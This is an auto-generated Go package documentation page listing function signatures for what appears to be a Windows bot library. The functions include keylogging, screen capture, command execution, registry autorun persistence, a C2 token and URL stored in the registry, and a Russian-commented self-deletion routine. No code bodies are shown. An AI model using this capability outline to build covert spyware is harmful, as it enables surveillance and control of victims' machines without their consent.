Documentation ¶
Index ¶
- func Append(slice []byte, elements ...byte) []byte
- func CaptureRect(compressImage bool, rect image.Rectangle) ([]byte, error)
- func CaptureScreen(compressImage bool) ([]byte, error)
- func CheckError(err error) bool
- func CheckFileExist(filePath string) bool
- func CheckRegistryProgram() (value string, result bool)
- func CheckSetValueRegistryKey(typeReg registry.Key, regPath, nameValue string) bool
- func CmdExec(cmd string) ([]byte, error)
- func CmdExecOrig(cmd string) ([]byte, error)
- func CopyFileToDirectory(pathSourceFile string, pathDestFile string) error
- func CreateDir(dirPath string, fileMode os.FileMode) bool
- func CreateFile(pathFile string) error
- func CreateFileAndWriteData(fileName string, writeData []byte) error
- func DeleteFile(nameFile string) error
- func DeleteRegistryKey(typeReg registry.Key, regPath, nameProgram string) error
- func GetFullPathBotDir() string
- func GetRegistryKey(typeReg registry.Key, regPath string, access uint32) (key registry.Key, err error)
- func GetRegistryKeyValue(typeReg registry.Key, regPath, nameKey string) (keyValue string, err error)
- func GetTokenFromRegistry() string
- func GetUrlFromRegistry() string
- func IsDebugModeEnable() bool
- func JoinToString(data []string) string
- func KeyLog() (i int, err error)
- func OutMessage(message string)
- func ParseJsonResponse(jsonStruct interface{}, parseStr []byte) (bool, error)
- func PrintRegistryPaths()
- func RandStringRunes(n int) string
- func ReadFile(nameFile string) (bytesFile []byte, err error)
- func RegisterAutoRun() error
- func RegisterFromProgram()
- func RegistryFromConsole(usingAutorun bool, usingRegistry bool, rewriteExe bool) bool
- func RemoveDirWithContent(dir string) error
- func SaveTokenToRegistry(token string) bool
- func SaveUrlToRegistry(url string) bool
- func ScreenRect() (image.Rectangle, error)
- func SetDebugMode(mode bool)
- func UnRegisterAutoRun()
- func UnRegisterFromProgram()
- func UnRegistryFromConsole(usingRegistry bool)
- func WriteRegistryKey(typeReg registry.Key, regPath, nameProgram, pathToExecFile string) error
Constants ¶
This section is empty.
Variables ¶
This section is empty.
Functions ¶
func CaptureScreen ¶
func CheckError ¶
func CheckFileExist ¶
func CheckRegistryProgram ¶
Проверяем находимся ли мы в автозапуске
func CmdExecOrig ¶
func CopyFileToDirectory ¶
func CreateFile ¶
func CreateFileAndWriteData ¶
func DeleteFile ¶
func DeleteRegistryKey ¶
func GetFullPathBotDir ¶
func GetFullPathBotDir() string
func GetRegistryKey ¶
func GetRegistryKeyValue ¶
func GetTokenFromRegistry ¶
func GetTokenFromRegistry() string
func GetUrlFromRegistry ¶
func GetUrlFromRegistry() string
func IsDebugModeEnable ¶
func IsDebugModeEnable() bool
func JoinToString ¶
func OutMessage ¶
func OutMessage(message string)
func ParseJsonResponse ¶
func PrintRegistryPaths ¶
func PrintRegistryPaths()
func RandStringRunes ¶
func RegisterAutoRun ¶
func RegisterAutoRun() error
func RegisterFromProgram ¶
func RegisterFromProgram()
func RegistryFromConsole ¶
func RemoveDirWithContent ¶
func SaveTokenToRegistry ¶
func SaveUrlToRegistry ¶
func ScreenRect ¶
func SetDebugMode ¶
func SetDebugMode(mode bool)
func UnRegisterAutoRun ¶
func UnRegisterAutoRun()
func UnRegisterFromProgram ¶
func UnRegisterFromProgram()
func UnRegistryFromConsole ¶
func UnRegistryFromConsole(usingRegistry bool)
Пытаемся удалить себя и выпилиться из реестра
Types ¶
This section is empty.
Click to show internal directories.
Click to hide internal directories.